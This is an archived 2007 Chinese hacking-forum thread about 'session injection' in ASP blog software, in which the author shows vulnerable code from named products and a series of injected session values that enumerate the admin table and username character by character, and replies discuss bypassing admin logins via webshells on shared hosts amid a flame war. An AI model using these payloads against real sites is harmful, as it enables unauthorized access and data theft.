邪恶八进制信息安全团队技术讨论组's Archiver

落叶纷飞 2007-8-4 12:43

[原创]新型注入方式直击网络——session注入探究

文章作者: 落叶纷飞 & 华夏鸡头4 [S.S.T]
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

[b]注意:文章首发脚本安全小组论坛([url]www.Cnsst.Org[/url]),后由原创作者友情提交到邪恶八进制信息安全团队,转载请注明首发站点。[/b]

——思路源于“流转”
首先说明,本文不是讲session欺骗方法或原理。
  1年前流转跟我说他有一个想法,就是session注入,当时我认为有点不可能,因为session很少进库的,就算进库了,也注射不了,就算能注射,也不能回显,对access没什么用处。后来看“寂寞的刺猬”大哥写的一篇漏洞分析文章的时候无意中发现他截取的代码里有session进库了,所以昨晚无聊,就test了起来。
  我们首先可以来证明一下session是否能注入,来看kevin's blog的setting.asp文件的一段代码(kevin大家不要打我哦=):
....省略....
[code]<%
if session("Admin")<>"ok" then
response.redirect("index.asp")
end if
if request.Form("passwd")<>"" and request.Form("passwd1")<>"" and request.Form("passwd2")<>"" then
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
if oldpass<>request.Form("passwd") then
response.write "第一次验证失败<br>"
else
if request.Form("passwd1")<>request.Form("passwd2") then
response.write "两次输入不同<br>"
else
rs.close
sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"
&#39;response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
end if
end if
end if
%>[/code]
....省略....
  这个是修改管理员密码的文件,但是请大家注意这一句“sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"”,看到了吧session居然进库了,出于测试的目的,我们把它的代码改一下,去掉管理员认证。代码如下:
....省略....
[code]<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"
&#39;response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>[/code]
....省略....
  我把它保存为1.asp,现在我们来构造一个2.asp,代码如下:
[code]<%
session("user")="Huanhuan&#39;and 1=2 and &#39;1&#39;=&#39;1"
%>[/code]
  这里要注意一下,kevin&#39;s blog的管理员名为Huanhuan,密码为123456。OK,我们先打开这个2.asp文件,然后再打开1.asp,其他的地方不用输入,只要在“新管理密码”里输入新的密码就行,我们来输入1234,然后点提交,如图1。
[attach]6401[/attach]
  修改失败,呵呵,我们把2.asp的代码改为如下:
[code]<%
session("user")="Huanhuan&#39;and 1=1 and &#39;1&#39;=&#39;1"
%>[/code]
  再修改下密码,怎么样,修改成功了吧,如图2。
[attach]6402[/attach]
  这样初步证明了session是可以注入的,但是我想如果没有实例的话大家可能不会服,好的,我们来看实例。就拿cityblog来做个例子,cityblog是一款多用户blog,读过它的代码的人都知道,它过滤得非常严谨。我们来看UserManage/Article_Del.Asp文件的一段代码:
....省略....
[code]
IF CblogObj.FormRequest("Action")="delete" And CblogObj.FormRequest("ArticleID")<>"" Then
Dim ArticleID,Ch
ArticleID=CblogObj.FormRequest("ArticleID")[/code]
....省略....
[code]Set Rs=Conn.Execute("Select Article_Code From Article Where Article_ID IN("& ArticleID &") GROUP BY Article_Code")
DO While Not Rs.Eof
Ch=Ch & "|" & "Article_ByClass" & Rs(0)
RS.MoveNext
Loop
Rs.Close:Set Rs=Nothing
IF INSTR(Ch,"|")>0 Then
Ch=Mid(Ch,2)
End IF
Conn.Execute "Delete From Article Where User_ID="& Session("UserID") &" And Article_ID IN("& ArticleID &")"
Conn.Execute "Delete From Tb_Reply Where Reply_User="& Session("UserID") &" And Reply_Blog_ID IN("& ArticleID &")"
Conn.Execute("delete from TrackBack where ArticleID in("& ArticleID &")")[/code]
....省略....
  ArticleID在赋值的时候就做了过滤,但是我们看看Session("UserID")这个session变量,根本没做过滤就丢到库里了,呵呵,大家不用急着看注入结果,我们先来从session欺骗去攻击他。
  注册两个,一个名为asdasd,密码111111;另一个为asdasdaa,密码222222,用asdasd发表一篇日志,名为“aaaaaaa”内容随便;用asdasdaa发表一篇名为“bbbbbbbb”的日志。然后用asdasdaa用户进入“日志列表”里,现在我们来构造一个设置session的asp文件s.asp,代码如下:
[code]<%
Session("UserID")="105"
%>[/code]
  这里可能有人会问,怎么确定userid呢?请看图3。
[attach]6398[/attach]
  “user0”跟着后面的那个数字就是userid了,这里asdasd的userid为105,asdasdaa的userid为106。我们打开s.asp,然后刷新一下“日志列表”页面,如图4。
[attach]6399[/attach]
  看到了吗?asdasd发表的日志显赫的摆在眼前,而且还能删除。
  呵呵,欺骗成功了。现在我们从session注入的角度来攻击他,我们用asdasdaa发8篇日志,然后构造设置session的文件s.asp,代码如下:
[code]<%
Session("UserID")="106 and 1=1"
%>[/code]
  我们打开s.asp,然后随便选中一篇日志(要记住这篇日志的名称),点击“删除”按钮,删除成功!再来,我们吧s.asp的代码改为:
[code]<%
Session("UserID")="106 and 1=2"
%>[/code]
  打开s.asp,然后随便选中一篇点击日志(记住日志名称),然后点击删除,提示删除成功了,但是我们回到“日志列表”看一看,居然没有日志了,如图5
[attach]6400[/attach]
  呵呵,我们重新登录asdasdaa一下,打开“日志列表”看看,哈哈!除了and 1=1删除的那篇日志之外,其他的日志都存在。我们看把代码修改为:
[code]<%
Session("UserID")="106 and exists(select count(*) from tb_admin)"
%>[/code]
  然后随便点一篇日志删除(记住日志名,下面不打了。累....),哈哈,删除成功,证明存在tb_admin这个表。再来,把代码修改为:
[code]<%
Session("UserID")="106 and exists(select count(*) from tb_adm)"
%>[/code]
  删除一篇日志,哈哈出现了and 1=2的页面,证明不存在表tb_adm。继续测试,代码如下:
[code]<%
Session("UserID")="106 and exists(select Blog_Admin_Name from tb_admin)"
%>[/code]
  删除日志成功,证明tb_admin中存在Blog_Admin_Name字段,呵呵。再来,代码如下:
[code]<%
Session("UserID")="106 and exists(select len(Blog_Admin_Name) from tb_admin)=5"
%>[/code]
  删除成功,说明Blog_Admin_Name中的第一个管理员用户名的长度为5。再来,代码如下:
[code]<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)=&#39;j&#39;"
%>[/code]
  日志全没了,说明Blog_Admin_Name字段的第一个管理员名的第一个字符不是j。再来,代码如下:
[code]<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,1) from tb_admin)=&#39;a&#39;"
%>[/code]
  删除成功,说明Blog_Admin_Name字段的第一个管理员名的第一个字符是a。继续继续,代码如下:
[code]<%
Session("UserID")="106 and exists(select left(Blog_Admin_Name,5) from tb_admin)=&#39;admin&#39;"
%>[/code]
  删除成功,说明Blog_Admin_Name字段的第一个管理员的用户名为admin。
  继续....(后面的你们来继续了=)
  总结一下,这种方法的注入虽然比较麻烦,也有一定的局限性(必须拿下一个PZ站),但是他胜在是永远是一个变量,只是临时存在于服务器,IDS什么的都不能检测,倒,IIS也更不会有什么记录。我测试的是access数据库的,MSSQL的那就请大家自行测试了。还要说一下,PHP中貌似还有一个函数能构造注入,虽然很少能进库,但是也是一种新的攻击方法,因为我的mysql5.0有点问题,所以测试不了,有兴趣的朋友可以自行测试。PHP的session注入我也没测试,也不知道诸如“&#39;”“/”之类的会不会被替换掉。好了,文章到这里,随便说下我的测试环境:WinXP+IIS5.1+Access。
  研究了一个通宵了,如果文章有什么疏漏还请各位指点,不要骂我哦。=)

cnlnfjhh 2007-8-4 13:23

徒弟的帖子 顶下

<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"
&#39;response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
-----------------
这个是没有验证的页面

而“sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"”
这里调用的过程的没有验证是无法执行的

而你保存的
<%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass=&#39;" & request.Form("passwd2") &"&#39; Where k_user=&#39;" & session("user") & "&#39;"
&#39;response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

去掉了条件限制,所以成功了。

session注射 其实也就是sql注射的一种
条件限制太多
所以人也就没重视


没有验证方式的session

lhn 2007-8-4 14:34

晕,你的注入方式是写了一个asp来改sesson,请问你如果没有对方服务器权限的话,你的asp放在哪?sesson值每个站点是对应的。就是你说拿下pz(我没理解错的话是旁注)站,你改的asp文件放上去也是不可以的。

xiao2004 2007-8-4 15:00

如果你能构造一个
Huanhuan&#39; or username=admin&#39;
这样的用户,就有可能把管理员密码改了.

但是可能吗,?
和楼上一样,我也不知道你构造的asp文件给放哪.

落叶纷飞 2007-8-4 15:33

我是在本地测试的

可以把asp文件放在同一服务器的旁注站啊,不是说了么,至少要拿下一个旁注站啊~~

ddiovedd 2007-8-4 17:00

觉得不太可能啊!sesson值每个站点是对应的!

消失再消失 2007-8-4 17:16

在几天之前 fhod教我用session 来直接跳过其他站的后台验证 进入到后台..
也是旁注一个站之后通过上传,之后构造验证语句.保存为asp文件..
方法一样..
楼主的方法很可行..
session 保存在服务器上.....
所以只要拿到同一服务器上的任意一个站点 那么目标站就可以注.

fhod 2007-8-4 17:21

有机会找个PZ站试下最好.
某商城程序也存在一个session的问题
拿到webshell了..想进后台..密码MD5的没破出..我也是用这方法1.asp访问下..进了后台.
但是PZ站也还真没测试...

落叶纷飞 2007-8-4 17:30

[quote]引用第5楼ddiovedd于2007-08-04 17:00发表的 :
觉得不太可能啊!sesson值每个站点是对应的![/quote]


是的,很多程序都把session定植了,而且不进库例如if session("aaa")<>"ok" then这样的话是伪造不了的,但是如果session的值额为变量的话,那就可以伪造了

拿下一个旁注站应该不难吧~~·

文中还有一句我忘了说,有session注入的地方就有session欺骗!!

神無月 2007-8-4 19:19

   我是不知道SESSION值所对应站的问题

不过我是成功过 某某程序有简单的判断SESSION值的洞洞 我PZ一个站 弄了一个对应SESSION

值的ASP文件 成功进入到后台

lhn 2007-8-5 00:17

[quote]引用第4楼落叶纷飞于2007-08-04 15:33发表的 :
我是在本地测试的

可以把asp文件放在同一服务器的旁注站啊,不是说了么,至少要拿下一个旁注站啊~~[/quote]

楼主勇气可嘉,session的概念没有弄清大作就出来了.给你打个比方[url]www.aa.com[/url]和[url]www.bb.com[/url]在同一服务器上,都放了两个动网,如果按你的逻辑,两个动网的管理员可以互相进对方后台了.

session入库的话应当也可以注入(我没有测试过),但是不应当是你的这种方法去注入.

kj021320 2007-8-5 00:54

[quote]
引用第4楼落叶纷飞于2007-08-04 15:33发表的 :
我是在本地测试的
可以把asp文件放在同一服务器的旁注站啊,不是说了么,至少要拿下一个旁注站啊~~
[/quote]

建议去看看 MS WEBCAST 的 IIS5.1/6.0内幕 视频教学 ..... 现在 IIS6的 默认配置都是每一个站都是不同实例的~~ SESSION会相同?什么理论~~

独孤依人 2007-8-5 07:11

我只想说这个Session在本地测试和远程测试是有很大区别的,那个百度流转的Session欺骗漏洞也是一个骗局,作者根本没有去测试就发出来了。

gaby 2007-8-5 09:51

刚才俺在[url]http://www.chinahacker.net/1.asp[/url]写下了如下代码:
<%
session("username")="abddwww"
%>
又在同一主机另一个站点下写下了如下代码:(test.asp)
<%
if session("username")<>"" then
  response.write "ok"
else
  response.write "no session"
end if
%>
先访问test.asp返回no session,然后访问1.asp,再次访问test.asp还是返回no session(同一ie进程下)
说明想跨站是不成功的

落叶纷飞 2007-8-5 11:28

说了我是在本机测试的!!

我手头上没有服务器,测试不了

但是N久前无月曾经用session欺骗搞了一个站

我没测试我就不知道了

落叶纷飞 2007-8-5 13:23

我刚测试欺骗一个EWEBEDITOR的站成功了....不知道是不是IIS设置问题,不过如果是APACHE就不知道了

lhn 2007-8-5 13:31

[quote]引用第16楼落叶纷飞于2007-08-05 13:23发表的 :
我刚测试欺骗一个EWEBEDITOR的站成功了....不知道是不是IIS设置问题,不过如果是APACHE就不知道了

漏洞的高手有什么意见么?[/quote]
空口无凭,13楼的gaby的代码很清楚的证实了。你要证明的是在虚拟主机[url]www.aaa.com[/url]上欺骗虚拟主机[url]www.bbb.com[/url]。不是在[url]www.aaa.com[/url]上欺骗[url]www.aaa.com[/url]
再一个你本机测试也可以用虚拟主机的,申请两个免费的二级域名(不要转发的)不是难事

落叶纷飞 2007-8-5 13:45

不是,我刚搞了个站,能跨目录的

服务器上的[url]www.x1.cn[/url]有ewebeditor,我欺骗成功了

这样我也不清楚了,最起码本文也证明了session注入的存在啊,呵呵

lhn 2007-8-5 13:51

[quote]引用第18楼落叶纷飞于2007-08-05 13:45发表的 :
不是,我刚搞了个站,能跨目录的

服务器上的[url]www.x1.cn[/url]有ewebeditor,我在[url]www.x2.cn[/url]里欺骗成功了[/quote]

我不信,正好有搜到了
[url]http://forum.eviloctal.com/read-htm-tid-20613.html[/url]
这帖子,是你说的ewebeditor欺骗。

你成功了,除非[url]www.x1.cn[/url]和[url]www.x2.cn[/url]是绑定在同一主机头下,同目录

落叶纷飞 2007-8-5 13:57

94同目录的 =)

服务器上的其他站点测试不成功

但是 神无月 搞个站的时候测试成功了,那我就不知道了~~!

消失再消失 2007-8-5 19:11

可以的...
我有测试成功过
通过session..
来跳过后台验证...
还是fhod教我的....
  不过可能是不同的程序,有的过滤了,有的没过率

scw121 2007-8-5 21:36

``2个站点主机头不同并且不是在同目录下的话``session是不同的```

yl6364 2007-8-5 22:22

访问asp文件,并创建了web应用程序
IIS在Web站点中指定应用程序的启动点目录
启动点目录下的文件和子目录都是应用程序的一部分
并使用目录作为边界定义不同应用程序的作用域
不同的web站点的就会对应不同的web应用程序,作用域也就不同.
session只是web应用程序的一个对象.当然也就不能跨出该作用域

ps:网上找的关于session的概念和自己的理解.以前也做过测试session确实不能跨web

bink 2007-8-6 17:31

关于这个 Session 注入,顶多是参数获得(或者叫传递)的方式不同而已,以此我们还可以写"COOKIES注入" "TXT文件注入" "XML文件注入" 等等等等,只要SQL语句中某变量从这些 COOKIES TXT XML 获得就行了,最多是更改值源而已.

这里楼主要知道一点, Session 只对应某域名下的站点,而非整台服务器(如果是那样,我站点所在服务器的站我都能黑了)...所以说你想要修改 Session 的话...呵呵..已经是多此一举了.

哦.忘说了...现在补充。

目前几乎所有的系统都是靠 Session 来验证管理员的,如果你能修改 Session 的话,直接欺骗吧..什么?你问我MD5?好吧.既然你都可以改 Session 了,相信你也可以打开 MDB 找 MD5 了吧.

落叶纷飞 2007-8-6 22:12

我都说了我写错了!!

我写这烂文只是证明session注入的存在!!

bluelight 2007-8-7 16:08

貌似意义不大把
都能玩asp了
还注入干什么?

闲得慌了? [s:264]

freejanker 2007-8-7 17:51

拿到旁注站,Session就一定可以跨站访问了?

[s:268]没听过有这道理。

junoon 2007-8-15 09:23

session我在asp.net中用的比较多,看来以后对session也需要进行过滤了,session感觉在.net中入库的行为比较多。。。以后还是有发展可能的

某牛人 2007-8-18 00:24

见过白痴的,没见过这么白痴的。
[s:270]
貌似IIS的session的算法,目前还没听说过有人破解的。。
没想到国内的牛人现在真的多啊
session的算法就被我们国家的第四代黑客给破解了。

laopi 2007-8-18 01:16

要是能直接改代码的话 好像方法多的是啊。何必这么费劲呢 直接写sql加用户的了。

tyyxt 2007-8-18 08:52

他们所谓的成功,其实是得到A站权限,从A站跨目录到B站的目录写个asp欺骗后台的文件b.asp,访问B站的文件b.asp,这样骗欺B站的后台的。
既然有权跨目录写文件到B站了,还要session欺什么? 脱裤子放屁,较爽?

flyh4t 2007-8-18 17:54

[quote]引用第29楼某牛人于2007-08-18 00:24发表的 :
见过白痴的,没见过这么白痴的。
[s:270]
貌似IIS的session的算法,目前还没听说过有人破解的。。
没想到国内的牛人现在真的多啊
session的算法就被我们国家的第四代黑客给破解了。[/quote]

作者是刚刚参加过中考的小弟弟,年龄应该比你小吧
这样冷嘲热讽不太好吧,呵呵
不能不允许人家犯错误
不管怎么样,人家也是在本机测试并且写出文章的
就算技术上没太多可取的,这样的钻研精神也是很可贵的

:( 不要把人家一棒子打死

fatcat 2007-8-18 18:48

呵呵!楼主满可爱的,被欺负惨了!web方面其实已经差不多了,几年下来,就是查request的参数来找漏网之鱼!
楼主想要创新的话,可以往应用程序注入挖,嗅探数据,修改数据,用openrowset来捕获数据。
有这个想法很久了,感觉可行性还是满大的。不过人大了也没激情了,如果楼主有心可以去挖掘下。如果成功的话结合我手上的东西,还真可以抛开web直接注入到操作系统

stacker 2007-8-19 02:03

ewebeditor的session欺骗欺骗不行,完全是混帐的东西。我在同一服务器的不同站点目录做了测试!

落叶纷飞 2007-8-19 11:00

[quote]引用第31楼tyyxt于2007-08-18 08:52发表的 :
他们所谓的成功,其实是得到A站权限,从A站跨目录到B站的目录写个asp欺骗后台的文件b.asp,访问B站的文件b.asp,这样骗欺B站的后台的。
既然有权跨目录写文件到B站了,还要session欺什么? 脱裤子放屁,较爽?[/quote]

我说过多少次了,我只是证明一个朋友的想法!!!!
还有你说的关session算法毛线事啊,人身攻击好好玩么
我是菜我承认,但是你人身攻击毛啊,我知道你手上有通杀DOS、*nix、windows的0day嘛,人家不用上网你都能搞进去嘛,你牛你的事,这里不是装X的地方,你装X到别的地方装去

[b][size=7]我见过贱人,但没见过你这么贱的人[/size][/b]
[b][size=7]我见过牛人,但没见过你这么“牛”的人[/size][/b]

[quote]引用第33楼fatcat于2007-08-18 18:48发表的 :
呵呵!楼主满可爱的,被欺负惨了!web方面其实已经差不多了,几年下来,就是查request的参数来找漏网之鱼!
楼主想要创新的话,可以往应用程序注入挖,嗅探数据,修改数据,用openrowset来捕获数据。
有这个想法很久了,感觉可行性还是满大的。不过人大了也没激情了,如果楼主有心可以去挖掘下。如果成功的话结合我手上的东西,还真可以抛开web直接注入到操作系统[/quote]

能与这位大哥交流下么?怎么联系你呢?

remax 2007-8-19 11:19

修改session获取更多权限的入侵案例还是有的。一下情况可以尝试修改session进行攻击
1:成功获取了该域名下的一个webshell
2:有读权限
3:需要入侵的系统采用了session认证
4:管理员使用的密码无法破解
5:可以获得session验证的语句


满足以上条件,可以利用session进一步扩大你的权限。

对于楼主的session注入,个人认为实用性比较低,如果可以实现修改session了,就没有必要进行注入了,还不如直接进入后台,这样不容易引起管理员的怀疑。

remax 2007-8-19 11:21

[s:266]
关于刚才某些牛人发表的言论,扼...
作者的文章跟所谓的session算法没有一点关系,我不知道你是怎么看出来有关系的。
既然是牛人了,还看这些小文章做什么,呵呵..多搞搞技术,发一个iis5/6的 exp出来,省的国内某些不法分子上外国买exp去,呵呵..那东西,据说值个几十万。

不是牛人mj 2007-8-20 01:27

楼主我们鄙视你是因为你不会漏洞挖掘的基本方法……没见过只在本地测试就这么肯定的说有漏洞……还新型注入方式……还直击……OMG,天塌了……

说句你不爱听的,你这叫妄想,不叫研究。

还有,你没有资格评判Kevin的东西,他隐退的时候你都还没有出道呢 [s:267]

dingking 2007-8-20 14:47

哎。。。。其实楼主也就是想把他的研究成果和大家分享一下。

不管对的错的,大家可以一起讨论嘛。~何必讽刺挖苦呢。~

换个角度想想,要是自己写个东西被人那样的话,心里肯定也不好受的。~

宽容...... [s:266]

seraph1984 2007-8-20 16:48

两个域名在同一台机器上是无法SESSION欺骗,我测试过的,拿到WEBSHELL,但是无法共享SESSION的,不过SESSION注入在原理上是行得通的,只要SESSION没过滤入库,总归有办法的,特别是很多程序都是利用COOKIES加SESSION双验证的方法来管理,

heiye88 2007-8-22 02:33

可以的...SESSION还可以跨服务器用..配合HOST伪造加循环干扰包技术...很多事情是解释不明白的..实践出真知....你不会的不代表不存在...

樱花浪子 2007-8-22 11:47

[quote]引用第12楼easylun10于2006-12-14 21:11发表的 :
呵呵 在一般的个人性服务器上成功过
没有单独给每一个FTP建立单独的IIS用户下 我成功过
在大型虚拟机上好象就不行了 独立用户下session欺骗失败。[/quote]

我觉得这位朋友说的很对,成功不成功跟管理员设的权限有一定的关系吧,再者这里我想这里只是讨论技术的地方,可能有的说错了,牛人们当然可以指点一二,但那么说的是不是有点过分了。

冰封浪子 2007-8-22 18:05

各位牛人..人家都说了是自己架设研究的
也有说文章写错了 我没看到楼主有说到session算法问题
人家才是一个刚初中毕业的学生? 至于这么说么? 起码人家敢把文章发出来 敢问各位大牛
你们就没有错的时候?何况人家是个孩子

qq66565841 2007-8-23 06:59

[s:267] 看明白了。。。当有权限到A站目录下写东西时就没多少必要欺骗进它后台了。。。不过可以这样留个小后门儿。。。免杀。。。绝对免。。。比一句话厉害哈哈。

jackal 2007-8-23 13:03

[quote]引用第35楼remax于2007-08-19 11:19发表的 :
修改session获取更多权限的入侵案例还是有的。一下情况可以尝试修改session进行攻击
1:成功获取了该域名下的一个webshell
2:有读权限
3:需要入侵的系统采用了session认证
4:管理员使用的密码无法破解
.......[/quote]

这句中肯..
帖子可以结了吧?

fr.qaker 2007-8-23 15:28

本人不才,根据自己的经验总结一下吧

1. Session注入客观存在, 其实很多朋友都知道,但是也知道他的利用有限,所以没有专门提出来.
2. 被大家忽视的地方就是可能的漏洞,肯定楼主,至少大家在写程序的时候会考虑到session的过滤
3. Session注入通常被局限于同一个域名下,所以通常不需要利用它,但是,在现在有些平台上,利用session欺骗可以实现跨服务器入侵,因为有不少大站用的是多服务器共享session,比如*.163.com通行证这样的模式.
4. Session欺骗有一个最大的好处就是痕迹小,不少地方对管理员登陆都有记录,但是利用session饶过可以降低记录,实际上在weblog中session构造的文件很容易被抓出来,但是通常对于一个虚拟空间的用户来说,查数据库的概率远大于weblog. [有兴趣的朋友可以写一个weblog自动分析软件,查找曾经在服务器上出现并被访问,后来又不见的文件:)]

在这里,我肯定楼主的贴,这篇贴做为一个讨论贴很好,但是做为技术发布贴有深度上的欠缺.

顺便说说某些回复的人,不要说你找就知道这个东西什么的,你没有发出来,你就不是第一个发现的人,至少在这里,我认为楼主是第一个发现的人,虽然我早就知道,但是我忽视了它,苹果天天从树上掉下来,但是注意到这点的只有牛顿一人. Session欺骗天天都有,但是注意到它的只有楼主一人.

谢谢

remax 2007-8-23 20:52

45楼的老总,楼主讲的是session注入,我讲的才是session欺骗嘛..大型整站系统系统共享登录状态【不一定是session】,如果获取了一定的权限,可以查询整个站点的所有用户的信息,很容易泄露论坛管理员密码等敏感信息...

某牛人 2007-8-23 21:49

fr.qaker 你的语言功夫太厉害了,在首领那学到了哟。
首先就不说这个东西是一个没用的东西。
就算是一个有用的东西,随便一下就传出去,貌似你就高兴了?
你还“谢谢”?
厉害!
貌似EST的原创绝迹了,但是语言功夫似乎更上一层楼了。

fr.qaker 2007-8-26 20:29

致"某牛人"
呀,你老人家技术好,这东西入不了您老人家的眼,怎么不见你给大家说说涅,为什么有老师和学生呢,不就是告诉学生他们不懂的东西么.

传出去?看来好东西只许你老人家看,别人不知道最好咯?

EST原创绝迹了?你老人家不是说有用的东西随便传出去不好么?

再说了,看样子您只会要,不会写涅

您老人家的话可以算是经典了,实在是语言不过关,一边是说好东西别说,一边说EST都不发好东西了,ZZZZ,真是婊子立牌坊,州官放火啊...........

不好意思,如果不是婊子,或者还没有立牌坊就不要生气咯,请误对号入座,谢谢哦

不是牛人mj 2007-9-1 11:40

[quote]引用第48楼fr.qaker于2007-08-26 20:29发表的 :
致"某牛人"
呀,你老人家技术好,这东西入不了您老人家的眼,怎么不见你给大家说说涅,为什么有老师和学生呢,不就是告诉学生他们不懂的东西么.

传出去?看来好东西只许你老人家看,别人不知道最好咯?

.......[/quote]

第N代黑客代表呢?喊出来聊一哈嘛

页: [1] 2
© 1999-2008 EvilOctal Security Team